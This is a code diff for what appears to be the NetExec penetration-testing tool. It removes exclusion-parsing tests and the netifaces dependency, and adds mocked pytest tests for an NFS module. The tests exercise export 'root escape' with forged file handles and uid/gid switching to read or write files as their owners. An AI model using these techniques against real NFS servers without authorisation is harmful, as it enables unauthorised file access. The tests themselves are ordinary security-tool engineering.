-        """Test that localhost addresses are skipped."""
-        # Mock only loopback interface
-        mock_interfaces.return_value = ["lo"]
-
-        import netifaces
-        mock_ifaddresses.return_value = {
-            netifaces.AF_INET: [{"addr": "127.0.0.1"}]
-        }
-
-        result = get_local_ip()
-
-        assert result is None
-
-    @patch("netifaces.interfaces")
-    @patch("netifaces.ifaddresses")
-    def test_get_local_ip_skip_link_local(self, mock_ifaddresses, mock_interfaces):
-        """Test that link-local addresses (169.254.x.x) are skipped."""
-        mock_interfaces.return_value = ["eth0"]
-
-        import netifaces
-        mock_ifaddresses.return_value = {
-            netifaces.AF_INET: [{"addr": "169.254.1.1"}]
-        }
-
-        result = get_local_ip()
-
-        assert result is None
-
-    @patch("netifaces.interfaces")
-    def test_get_local_ip_exception_handling(self, mock_interfaces):
-        """Test when netifaces raises an exception."""
-        # Make interfaces() raise an exception
-        mock_interfaces.side_effect = Exception("Network error")
-
-        result = get_local_ip()
-
-        assert result is None
-
-
-class TestParseExclusions:
-    """Test exclusion parsing functionality."""
-
-    def test_parse_exclusions_single_ip(self):
-        """Test parsing single IP address."""
-        exclusions = ["192.168.1.10"]
-        result = parse_exclusions(exclusions)
-
-        assert result == {"192.168.1.10"}
-
-    def test_parse_exclusions_multiple_ips(self):
-        """Test parsing multiple IP addresses."""
-        exclusions = ["192.168.1.10", "10.0.0.1", "172.16.0.5"]
-        result = parse_exclusions(exclusions)
-
-        assert result == {"192.168.1.10", "10.0.0.1", "172.16.0.5"}
-
-    def test_parse_exclusions_cidr_range(self):
-        """Test parsing CIDR notation."""
-        exclusions = ["192.168.1.0/30"]  # Should expand to .1, .2
-        result = parse_exclusions(exclusions)
-
-        expected = {"192.168.1.0", "192.168.1.1", "192.168.1.2", "192.168.1.3"}
-        assert result == expected
-
-    def test_parse_exclusions_ip_range(self):
-        """Test parsing IP range notation."""
-        exclusions = ["192.168.1.10-192.168.1.12"]
-        result = parse_exclusions(exclusions)
-
-        expected = {"192.168.1.10", "192.168.1.11", "192.168.1.12"}
-        assert result == expected
-
-    def test_parse_exclusions_short_range(self):
-        """Test parsing short IP range notation."""
-        exclusions = ["192.168.1.10-12"]  # Should expand to 192.168.1.10-192.168.1.12
-        result = parse_exclusions(exclusions)
-
-        expected = {"192.168.1.10", "192.168.1.11", "192.168.1.12"}
-        assert result == expected
-
-    def test_parse_exclusions_hostname(self):
-        """Test parsing hostname (treated as string)."""
-        exclusions = ["example.com"]
-        result = parse_exclusions(exclusions)
-
-        assert result == {"example.com"}
-
-    def test_parse_exclusions_mixed_formats(self):
-        """Test parsing mixed IP formats."""
-        exclusions = [
-            "192.168.1.10",           # Single IP
-            "10.0.0.0/31",           # CIDR (expands to .0, .1)
-            "172.16.1.5-7",          # Short range
-            "test.local"             # Hostname
-        ]
-        result = parse_exclusions(exclusions)
-
-        expected = {
-            "192.168.1.10",
-            "10.0.0.0", "10.0.0.1",
-            "172.16.1.5", "172.16.1.6", "172.16.1.7",
-            "test.local"
-        }
-        assert result == expected
-
-    def test_parse_exclusions_empty_list(self):
-        """Test parsing empty exclusion list."""
-        exclusions = []
-        result = parse_exclusions(exclusions)
-
-        assert result == set()
-
-    def test_parse_exclusions_ipv6(self):
-        """Test parsing IPv6 addresses."""
-        exclusions = ["2001:db8::1"]
-        result = parse_exclusions(exclusions)
-
-        assert result == {"2001:db8::1"}
-
-
-class TestTargetFiltering:
-    """Test integration of exclusion filtering with target parsing."""
-
-    def test_target_filtering_excludes_single_ip(self):
-        """Test that single IP is properly excluded from target list."""
-        targets = ["192.168.1.1", "192.168.1.2", "192.168.1.3"]
-        exclusions = parse_exclusions(["192.168.1.2"])
-
-        filtered_targets = [target for target in targets if target not in exclusions]
-
-        assert filtered_targets == ["192.168.1.1", "192.168.1.3"]
-
-    def test_target_filtering_excludes_cidr_range(self):
-        """Test that CIDR range exclusions work properly."""
-        targets = ["192.168.1.1", "192.168.1.2", "192.168.1.3", "192.168.1.10"]
-        exclusions = parse_exclusions(["192.168.1.0/30"])  # Excludes .0-.3
-
-        filtered_targets = [target for target in targets if target not in exclusions]
-
-        assert filtered_targets == ["192.168.1.10"]
-
-    def test_target_filtering_no_exclusions(self):
-        """Test that no exclusions leaves targets unchanged."""
-        targets = ["192.168.1.1", "192.168.1.2", "192.168.1.3"]
-        exclusions = parse_exclusions([])
-
-        filtered_targets = [target for target in targets if target not in exclusions]
-
-        assert filtered_targets == targets
-
-    def test_target_filtering_all_excluded(self):
-        """Test that all targets can be excluded."""
-        targets = ["192.168.1.1", "192.168.1.2"]
-        exclusions = parse_exclusions(["192.168.1.0/30"])  # Excludes .0-.3
-
-        filtered_targets = [target for target in targets if target not in exclusions]
-
-        assert filtered_targets == []
-
-    def test_target_filtering_mixed_formats(self):
-        """Test filtering with mixed target and exclusion formats."""
-        # Targets from parse_targets (simulated)
-        targets = []
-        for target_spec in ["192.168.1.1", "10.0.0.1-3"]:
-            targets.extend(list(parse_targets(target_spec)))
-
-        # Exclude some targets
-        exclusions = parse_exclusions(["192.168.1.1", "10.0.0.2"])
-
-        filtered_targets = [target for target in targets if target not in exclusions]
-
-        expected = ["10.0.0.1", "10.0.0.3"]
-        assert set(filtered_targets) == set(expected)
-
-
-class TestEdgeCases:
-    """Test edge cases and error conditions."""
-
-    def test_exclusions_with_invalid_ip(self):
-        """Test that invalid IPs are treated as hostnames."""
-        exclusions = ["invalid.ip.address"]
-        result = parse_exclusions(exclusions)
-
-        # Should be treated as hostname
-        assert result == {"invalid.ip.address"}
-
-    def test_exclusions_duplicate_handling(self):
-        """Test that duplicate exclusions are handled properly."""
-        exclusions = ["192.168.1.1", "192.168.1.1", "192.168.1.2"]
-        result = parse_exclusions(exclusions)
-
-        # Set should deduplicate
-        assert result == {"192.168.1.1", "192.168.1.2"}
-
-    def test_exclusions_case_sensitivity(self):
-        """Test hostname case sensitivity."""
-        exclusions = ["Example.COM", "example.com"]
-        result = parse_exclusions(exclusions)
-
-        # Should preserve case (hostnames are case-insensitive but we preserve input)
-        assert result == {"Example.COM", "example.com"}
-
-
-class TestConfigIntegration:
-    """Test config-based exclusion integration."""
-
-    @patch("nxc.config.exclude_hosts", ["192.168.1.10", "10.0.0.0/30"])
-    @patch("nxc.config.skip_self", False)
-    def test_config_exclusions_loaded(self):
-        """Test that exclusions are properly loaded from config."""
-        from nxc.config import exclude_hosts, skip_self
-
-        assert exclude_hosts == ["192.168.1.10", "10.0.0.0/30"]
-        assert skip_self is False
-
-    @patch("nxc.config.exclude_hosts", [])
-    @patch("nxc.config.skip_self", True)
-    def test_config_skip_self_enabled(self):
-        """Test that skip_self config option works."""
-        from nxc.config import skip_self
-
-        assert skip_self is True
-
-    def test_config_exclusions_processing(self):
-        """Test that config exclusions are processed correctly."""
-        # Simulate config values
-        config_exclusions = ["192.168.1.10", "10.0.0.0/30"]
-
-        # Process exclusions the same way as in netexec.py
-        excluded_ips = set()
-        if config_exclusions:
-            excluded_ips.update(parse_exclusions(config_exclusions))
-
-        expected = {
-            "192.168.1.10",
-            "10.0.0.0", "10.0.0.1", "10.0.0.2", "10.0.0.3"
-        }
-        assert excluded_ips == expected
-
-
-class TestConfigValidation:
-    """Test config validation and error handling."""
-
-    def test_malformed_exclude_hosts_syntax_error(self):
-        """Test that malformed exclude_hosts syntax is handled gracefully."""
-        from ast import literal_eval
-
-        # Simulate what happens in config.py with malformed input
-        malformed_inputs = [
-            "[192.168.1.1]",  # Missing quotes
-            "[192.168.1.1, 10.0.0.1]",  # Multiple without quotes
-            "192.168.1.1",  # Plain string
-            "",  # Empty string
-        ]
-
-        for malformed_input in malformed_inputs:
-            try:
-                result = literal_eval(malformed_input)
-                # If we get here, it didn't fail as expected
-                assert isinstance(result, list), f"Expected list for valid input: {malformed_input}"
-            except (ValueError, SyntaxError):
-                # This is expected behavior - should gracefully handle the error
-                # In actual config.py, this would fall back to empty list
-                assert True
-
-    def test_exclude_hosts_type_validation(self):
-        """Test that non-list values are rejected."""
-        from ast import literal_eval
-
-        # Test inputs that parse successfully but aren't lists
-        non_list_inputs = [
-            '"192.168.1.1"',  # String instead of list
-            "192",  # Integer
-            "True",  # Boolean
-        ]
-
-        for input_val in non_list_inputs:
-            result = literal_eval(input_val)
-            # Should validate that result is a list
-            assert not isinstance(result, list), f"Input {input_val} should not be a list"

tests/test_nfs_protocol.py

@@ -0,0 +1,456 @@
+import sys
+from argparse import ArgumentParser
+from pathlib import Path
+from types import SimpleNamespace
+
+import pytest
+
+from nxc.loaders.protocolloader import ProtocolLoader
+
+
+PROTOCOL_PATH = Path(__file__).parents[1] / "nxc" / "protocols" / "nfs.py"
+PROTOCOL_ARGS_PATH = Path(__file__).parents[1] / "nxc" / "protocols" / "nfs" / "proto_args.py"
+PROTOCOL_MODULE = ProtocolLoader().load_protocol(str(PROTOCOL_PATH))
+proto_args = ProtocolLoader().load_protocol(str(PROTOCOL_ARGS_PATH)).proto_args
+nfs = PROTOCOL_MODULE.nfs
+
+
+class Logger:
+    def __init__(self):
+        self.messages = []
+
+    def debug(self, message):
+        self.messages.append(message)
+
+    def info(self, message):
+        self.messages.append(message)
+
+    def fail(self, message):
+        self.messages.append(message)
+
+    def success(self, message):
+        self.messages.append(message)
+
+    def display(self, message):
+        self.messages.append(message)
+
+    def highlight(self, message):
+        self.messages.append(message)
+
+
+class Database:
+    def __init__(self):
+        self.hosts = []
+
+    def add_host(self, *host):
+        self.hosts.append(host)
+
+
+def make_protocol(version="4.0", auth="sys", port=None, share=None):
+    protocol = object.__new__(nfs)
+    protocol.args = SimpleNamespace(nfs_version=version, nfs_auth=auth, nfs_timeout=2, port=port, share=share, use_kcache=False, domain=None, username=[], kdcHost=None)
+    protocol.host = "192.0.2.1"
+    protocol.hostname = "server.example"
+    protocol.port = port or 2049
+    protocol.nfs = None
+    protocol.nfs_version = version
+    protocol.nfs_versions = () if version is None else (version,)
+    protocol.discovery = None
+    protocol.auth = {
+        "flavor": 1,
+        "machine_name": "NXC123",
+        "uid": 0,
+        "gid": 0,
+        "aux_gid": [],
+    }
+    protocol.rpc_auth = protocol.auth if auth == "sys" else None
+    protocol.logger = Logger()
+    protocol.db = Database()
+    protocol.root_escape = None
+    protocol.escape_share = None
+    protocol.escape_fh = b""
+    protocol.authenticated = False
+    protocol.credentials = None
+    protocol.proto_logger = lambda: None
+    return protocol
+
+
+def discovery(*versions, nfs3_port=None, inconclusive=()):
+    return SimpleNamespace(supported=versions, nfs3_port=nfs3_port, inconclusive=inconclusive)
+
+
+def client_class(calls):
+    class Client:
+        def __init__(self, host, version, port, timeout, auth):
+            calls.append(("init", host, version, port, timeout, auth))
+            self.version = version
+            self.port = port or 2049
+            self.auth = auth
+            self.connected = False
+
+        def connect(self):
+            self.connected = True
+            calls.append(("connect", self.version))
+            return self
+
+        def disconnect(self):
+            self.connected = False
+            calls.append(("disconnect", self.version))
+
+    return Client
+
+
+def test_argument_defaults_use_auto_discovery():
+    parser = ArgumentParser()
+    proto_args(parser.add_subparsers(dest="protocol"), [])
+    args = parser.parse_args(["nfs", "--shares"])
+    assert args.nfs_version is None
+    assert args.nfs_auth == "sys"
+    assert args.port is None
+    assert args.nfs_timeout == 2
+
+
+@pytest.mark.parametrize("version", ["3", "4.0", "4.1", "4.2"])
+def test_argument_parser_accepts_exact_versions(version):
+    parser = ArgumentParser()
+    proto_args(parser.add_subparsers(dest="protocol"), [])
+    assert parser.parse_args(["nfs", "--nfs-version", version]).nfs_version == version
+
+
+def test_argument_parser_rejects_legacy_nfsv4_value():
+    parser = ArgumentParser()
+    proto_args(parser.add_subparsers(dest="protocol"), [])
+    with pytest.raises(SystemExit):
+        parser.parse_args(["nfs", "--nfs-version", "4"])
+
+
+def test_auto_discovery_prefers_nfsv3(monkeypatch):
+    calls = []
+    discovered = discovery("3", "4.0", "4.1", "4.2", nfs3_port=2050)
+
+    def discover(*args):
+        calls.append(("discover", args))
+        return discovered
+
+    monkeypatch.setattr(PROTOCOL_MODULE, "discover_nfs_versions", discover)
+    monkeypatch.setattr(PROTOCOL_MODULE, "NFSClient", client_class(calls))
+    protocol = make_protocol(None)
+
+    assert protocol.create_conn_obj()
+    assert protocol.nfs_version == "3"
+    assert protocol.nfs_versions == discovered.supported
+    assert calls[0] == ("discover", ("192.0.2.1", protocol.rpc_auth, 2049, 2, 111))
+    assert calls[1] == ("init", "192.0.2.1", "3", 2050, 2, protocol.rpc_auth)
+
+
+def test_auto_discovery_uses_latest_supported_nfsv4(monkeypatch):
+    calls = []
+    monkeypatch.setattr(PROTOCOL_MODULE, "discover_nfs_versions", lambda *args: discovery("4.0", "4.2"))
+    monkeypatch.setattr(PROTOCOL_MODULE, "NFSClient", client_class(calls))
+    protocol = make_protocol(None)
+
+    assert protocol.create_conn_obj()
+    assert protocol.nfs_version == "4.2"
+    assert calls[0] == ("init", "192.0.2.1", "4.2", None, 2, protocol.rpc_auth)
+
+
+def test_conclusively_unsupported_explicit_version_fails_without_fallback(monkeypatch):
+    monkeypatch.setattr(PROTOCOL_MODULE, "discover_nfs_versions", lambda *args: discovery("4.1", "4.2"))
+    monkeypatch.setattr(PROTOCOL_MODULE, "NFSClient", lambda *args: (_ for _ in ()).throw(AssertionError("client constructed")))
+    protocol = make_protocol("3")
+
+    assert not protocol.create_conn_obj()
+    assert protocol.nfs_version == "3"
+    assert "NFSv3 is not supported by the target" in protocol.logger.messages[-1]
+
+
+@pytest.mark.parametrize(("version", "label"), [("3", "rpcbind"), ("3", "3@2049"), ("4.0", "4.0")])
+def test_inconclusive_explicit_version_is_still_attempted(monkeypatch, version, label):
+    calls = []
+    monkeypatch.setattr(PROTOCOL_MODULE, "discover_nfs_versions", lambda *args: discovery("4.2", inconclusive=((label, TimeoutError()),)))
+    monkeypatch.setattr(PROTOCOL_MODULE, "NFSClient", client_class(calls))
+    protocol = make_protocol(version)
+
+    assert protocol.create_conn_obj()
+    assert protocol.nfs_version == version
+    assert calls[0][2] == version
+
+
+def test_custom_port_is_used_for_discovery_and_client(monkeypatch):
+    calls = []
+
+    def discover(*args):
+        calls.append(("discover", args))
+        return discovery("4.1")
+
+    monkeypatch.setattr(PROTOCOL_MODULE, "discover_nfs_versions", discover)
+    monkeypatch.setattr(PROTOCOL_MODULE, "NFSClient", client_class(calls))
+    protocol = make_protocol("4.1", port=3049)
+
+    assert protocol.create_conn_obj()
+    assert calls[0] == ("discover", ("192.0.2.1", protocol.rpc_auth, 3049, 2, 111))
+    assert calls[1] == ("init", "192.0.2.1", "4.1", 3049, 2, protocol.rpc_auth)
+
+
+def test_auto_discovery_rejects_hosts_without_a_supported_version(monkeypatch):
+    monkeypatch.setattr(PROTOCOL_MODULE, "discover_nfs_versions", lambda *args: discovery())
+    monkeypatch.setattr(PROTOCOL_MODULE, "NFSClient", lambda *args: (_ for _ in ()).throw(AssertionError("client constructed")))
+    protocol = make_protocol(None)
+    assert not protocol.create_conn_obj()
+    assert "No supported NFS version discovered" in protocol.logger.messages[-1]
+
+
+def test_host_output_includes_discovered_and_selected_versions():
+    protocol = make_protocol("3")
+    protocol.nfs_versions = ("3", "4.0", "4.1", "4.2")
+    protocol.print_host_info()
+    assert "Supported NFS versions: (3, 4.0, 4.1, 4.2) NFSv3 sys" in protocol.logger.messages[-1]
+
+
+def test_enum_host_info_uses_the_selected_generic_client():
+    protocol = make_protocol("4.2")
+    protocol.nfs_versions = ("4.1", "4.2")
+    protocol.nfs = object()
+    protocol.try_root_escape = lambda: True
+    protocol.enum_host_info()
+    assert protocol.root_escape is True
+    assert protocol.db.hosts[-1][2:] == (2049, ("4.1", "4.2"), True)
+
+
+def test_kerberos_rebuilds_the_selected_generic_client(monkeypatch):
+    events = []
+
+    class Client:
+        def __init__(self, host, version, port, timeout, auth):
+            self.port = port or 2049
+            self.auth = auth
+            events.append(("init", version, auth))
+
+        def connect(self):
+            events.append(("connect",))
+
+        def disconnect(self):
+            events.append(("disconnect",))
+
+        def establish_gss(self, initiator, service):
+            events.append(("gss", initiator.host, service))
+            self.auth = "rpcsec-gss"
+
+    class Initiator:
+        def __init__(self, host, credentials):
+            self.host = host
+            self.credentials = credentials
+
+    monkeypatch.setattr(PROTOCOL_MODULE, "NFSClient", Client)
+    monkeypatch.setitem(sys.modules, "pyNfsClient.kerberos", SimpleNamespace(KerberosInitiator=Initiator))
+    protocol = make_protocol("4.1", auth="krb5p")
+    protocol.discovery = discovery("4.1")
+    protocol.try_root_escape = lambda: False
+
+    assert protocol.kerberos_login("NFS.TEST", "nfsclient", password="secret", kdcHost="192.0.2.2")
+    assert ("init", "4.1", protocol.auth) in events
+    assert ("gss", "192.0.2.1", "krb5p") in events
+    assert protocol.rpc_auth == "rpcsec-gss"
+
+
+def test_selected_root_handle_delegates_to_generic_client():
+    protocol = make_protocol("4.2", share="/export")
+    protocol.nfs = SimpleNamespace(
+        root_handle=lambda share: {"status": 0, "mountinfo": {"fhandle": b"root"}},
+        status_name=lambda status: str(status),
+    )
+    assert protocol.selected_root_handle() == b"root"
+
+
+def test_nfsv3_without_share_still_requires_root_escape():
+    protocol = make_protocol("3")
+    protocol.nfs = SimpleNamespace()
+    assert protocol.selected_root_handle() is None
+    assert "please specify a share" in protocol.logger.messages[-1]
+
+
+def test_root_escape_validation_uses_the_generic_client():
+    protocol = make_protocol()
+    protocol.nfs = SimpleNamespace(
+        getattr=lambda file_handle, auth=None: {"status": 0, "attributes": {"type": 2}},
+        readdir=lambda file_handle, auth=None: {"status": 0, "resok": {}},
+        exports=lambda: [("/", ["Everyone"])],
+        root_handle=lambda share: {"status": 0, "mountinfo": {"fhandle": b"export"}},
+        unmount=lambda: None,
+    )
+    protocol.get_root_handles = lambda file_handle: [b"forged"]
+    assert protocol.try_root_escape() is True
+    assert protocol.escape_share == "/"
+    assert protocol.escape_fh == b"forged"
+
+
+def test_named_owner_does_not_replace_auth_sys_numeric_uid():
+    protocol = make_protocol()
+    protocol.nfs = SimpleNamespace(
+        getattr=lambda file_handle, auth=None: {"status": 0, "attributes": {"uid": "[email protected]", "gid": "[email protected]"}},
+        access=lambda file_handle, access, auth=None: {"status": 0, "resok": {"access": access}},
+    )
+    assert protocol.list_dir(b"root", "/", recurse=0)[0]["uid"] == "[email protected]"
+    assert protocol.auth["uid"] == 0
+    assert protocol.auth["gid"] == 0
+
+
+def test_print_directory_restores_directory_identity_between_entries():
+    calls = []
+    owners = {b"one": (1000, 100), b"two": (2000, 200)}
+    protocol = make_protocol()
+    protocol.auth.update({"uid": 500, "gid": 50})
+
+    def get_attributes(file_handle, auth=None):
+        calls.append(("getattr", file_handle, auth["uid"], auth["gid"]))
+        uid, gid = owners[file_handle]
+        return {"status": 0, "attributes": {"uid": uid, "gid": gid}}
+
+    def access(file_handle, requested, auth=None):
+        calls.append(("access", file_handle, auth["uid"], auth["gid"]))
+        return {"status": 0, "resok": {"access": requested}}
+
+    protocol.nfs = SimpleNamespace(getattr=get_attributes, access=access)
+    protocol.print_directory(
+        [
+            {
+                "name": b"one",
+                "name_attributes": {"present": True, "attributes": {"uid": 1000, "type": 1, "size": 0}},
+                "name_handle": {"present": True, "handle": {"data": b"one"}},
+            },
+            {
+                "name": b"two",
+                "name_attributes": {"present": True, "attributes": {"uid": 2000, "type": 1, "size": 0}},
+                "name_handle": {"present": True, "handle": {"data": b"two"}},
+            },
+        ],
+        "/",
+    )
+
+    assert calls == [
+        ("getattr", b"one", 500, 50),
+        ("access", b"one", 1000, 100),
+        ("access", b"one", 1000, 100),
+        ("access", b"one", 1000, 100),
+        ("getattr", b"two", 500, 50),
+        ("access", b"two", 2000, 200),
+        ("access", b"two", 2000, 200),
+        ("access", b"two", 2000, 200),
+    ]
+    assert protocol.auth["uid"] == 500
+    assert protocol.auth["gid"] == 50
+
+
+def test_btrfs_root_escape_handles_are_python_310_compatible(monkeypatch):
+    protocol = make_protocol()
+    protocol.nfs = SimpleNamespace(readdirplus=lambda file_handle, auth=None: {})
+    monkeypatch.setattr(protocol, "format_directory", lambda response: [])
+    handles = protocol.get_root_handles(b"\x01\x00\x00\x4d" + b"12345678")
+    assert len(handles) == 18
+    assert handles[2][20:24] == b"\x00\x01\x00\x00"
+    assert handles[-1][20:24] == b"\x0f\x01\x00\x00"
+
+
+def test_netexec_uses_only_the_generic_client_api():
+    source = PROTOCOL_PATH.read_text()
+    assert "NFSClient" in source
+    assert ".compound(" not in source
+    assert "NFSv40" not in source
+    assert "NFSv41" not in source
+    assert "NFSv42" not in source
+
+
+@pytest.mark.parametrize("version", ["3", "4.0", "4.1", "4.2"])
+def test_uid_and_gid_changes_are_passed_to_each_generic_call(version):
+    calls = []
+    protocol = make_protocol(version=version)
+    protocol.args.cat = "file"
+    protocol.connect_nfs = lambda: protocol.nfs
+    protocol.selected_root_handle = lambda: b"root"
+
+    def get_attributes(file_handle, auth=None):
+        calls.append(("getattr", file_handle, auth["uid"], auth["gid"]))
+        uid, gid = (1000, 100) if file_handle == b"root" else (2000, 200)
+        return {"status": 0, "attributes": {"uid": uid, "gid": gid}}
+
+    def lookup(file_handle, name, auth=None):
+        calls.append(("lookup", file_handle, auth["uid"], auth["gid"]))
+        return {"status": 0, "resok": {"object": {"data": b"file"}, "obj_attributes": {"attributes": {"type": PROTOCOL_MODULE.NF3REG}}}}
+
+    def read(file_handle, offset, auth=None):
+        calls.append(("read", file_handle, auth["uid"], auth["gid"]))
+        return {"status": 0, "resok": {"data": b"data", "eof": True}}
+
+    protocol.nfs = SimpleNamespace(getattr=get_attributes, lookup=lookup, read=read)
+    protocol.cat()
+
+    assert calls == [
+        ("getattr", b"root", 0, 0),
+        ("lookup", b"root", 1000, 100),
+        ("getattr", b"file", 1000, 100),
+        ("read", b"file", 2000, 200),
+    ]
+
+
+def test_put_file_reuses_open_auth_snapshot_after_uid_detection(tmp_path):
+    local_file = tmp_path / "upload.txt"
+    local_file.write_bytes(b"payload")
+    protocol = make_protocol("4.0")
+    protocol.args.put_file = [str(local_file), "upload.txt"]
+    protocol.selected_root_handle = lambda: b"root"
+    events = []
+
+    def update_auth(file_handle):
+        if file_handle == b"root":
+            protocol.auth.update({"uid": 1000, "gid": 100})
+        else:
+            protocol.auth.update({"uid": 2000, "gid": 200})
+        return {"status": 0, "attributes": {"uid": protocol.auth["uid"], "gid": protocol.auth["gid"]}}
+
+    class Client:
+        def lookup(self, *args, **kwargs):
+            return {"status": PROTOCOL_MODULE.NFS3ERR_NOENT, "resok": None, "resfail": {}}
+
+        def create(self, dir_handle, name, create_mode, mode=None, auth=None):
+            events.append(("create", auth))
+            return {"status": 0, "resok": {"obj": {"handle": {"data": b"file"}}}}
+
+        def fsinfo(self, *args, **kwargs):
+            return {"status": 0, "resok": {"wtpref": 1024}}
+
+        def write(self, file_handle, offset, count, content, stable_how, auth=None):
+            events.append(("write", auth, content))
+            return {"status": 0, "resok": {"count": count}}
+
+        def close(self, file_handle, auth=None):
+            events.append(("close", auth))
+            return {"status": 0}
+
+        def unmount(self):
+            pass
+
+        @staticmethod
+        def status_name(status):
+            return str(status)
+
+    protocol.nfs = Client()
+    protocol.update_auth = update_auth
+    protocol.put_file()
+
+    assert protocol.auth["uid"] == 2000
+    assert events[0][1]["uid"] == 1000
+    assert events[1][1] is events[0][1]
+    assert events[2][1] is events[0][1]
+    assert events[1][2] == b"payload"
+
+
+def test_disconnect_delegates_all_cleanup_to_generic_client():
+    class Client:
+        def disconnect(self):
+            self.disconnected = True
+
+    protocol = make_protocol()
+    protocol.nfs = Client()
+    protocol.nfs.disconnected = False
+    protocol.disconnect()
+    assert protocol.nfs.disconnected

uv.lock

@@ -1374,7 +1374,6 @@ dependencies = [
     { name = "masky" },
     { name = "minikerberos" },
     { name = "neo4j" },
-    { name = "netifaces" },
     { name = "paramiko" },
     { name = "pefile" },
     { name = "pyasn1-modules" },
@@ -1418,7 +1417,6 @@ requires-dist = [
     { name = "masky", specifier = ">=0.2.1" },
     { name = "minikerberos", specifier = ">=0.4.1" },
     { name = "neo4j", specifier = ">=5.0.0" },
-    { name = "netifaces", specifier = ">=0.11.0,<0.12.0" },
     { name = "paramiko", specifier = ">=3.3.1" },
     { name = "pefile", specifier = ">=2024.8.26,<2025.0.0" },
     { name = "pyasn1-modules", specifier = ">=0.3.0" },
@@ -1444,12 +1442,6 @@ dev = [
     { name = "shiv" },
 ]
 
-[[package]]
-name = "netifaces"
-version = "0.11.0"
-source = { registry = "https://pypi.org/simple" }
-sdist = { url = "https://files.pythonhosted.org/packages/a6/91/86a6eac449ddfae239e93ffc1918cf33fd9bab35c04d1e963b311e347a73/netifaces-0.11.0.tar.gz", hash = "sha256:043a79146eb2907edf439899f262b3dfe41717d34124298ed281139a8b93ca32", size = 30106, upload-time = "2021-05-31T08:33:02.506Z" }
-
 [[package]]
 name = "oscrypto"
 version = "1.3.0"